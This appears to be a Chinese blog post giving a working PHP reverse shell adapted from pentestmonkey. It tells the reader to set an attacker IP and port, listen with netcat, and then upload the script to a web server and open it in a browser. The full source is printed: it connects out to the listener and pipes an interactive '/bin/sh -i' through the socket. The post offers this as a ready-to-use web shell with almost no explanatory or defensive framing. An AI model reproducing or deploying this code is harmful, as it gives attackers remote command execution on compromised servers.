reverse php,php-reverse-shell

功能:

返回一个交互式的shell

使用:

先修改脚本中的两个变量 $ip 和 $port 为自己所需的。然后本地监听 $port 。例如:

$ip = '192.168.1.111'; // CHANGE THIS

$port = 13123; // CHANGE THIS

nc -v -l -p 13123

然后上传并在浏览器中打开该PHP脚本文件。

效果图:

0818b9ca8b590ca3270a3433284dd417.png

源代码(在原文的基础进行了修改):

set_time_limit (0);

$ip = "192.168.1.111";

$port = "13123";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock)

exit("$errstr ($errno)");

if(function_exists('proc_open')){

$descriptorspec = array(

0 => array("pipe", "r"),

1 => array("pipe", "w"),

2 => array("pipe", "w")

);

$process = proc_open("id;/bin/sh -i", $descriptorspec, $pipes);

if (!is_resource($process))

exit("ERROR: Can't reverse shell");

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

print("Successfully opened reverse shell to $ip:$port");

while (1) {

if (feof($sock)) {

print("ERROR: Shell connection terminated");

break;

}

if (feof($pipes[1])) {

print("ERROR: Shell process terminated");

break;

}

$input = fread($sock, 1024);

fwrite($pipes[0], $input);

$output = fread($pipes[1], 1024);

fwrite($sock, $output);

$output = fread($pipes[2], 1024);

fwrite($sock, $output);

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

}

else print "function 'proc_open' is not exists.";

?> 原文:http://pentestmonkey.net/tools/web-shells/php-reverse-shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值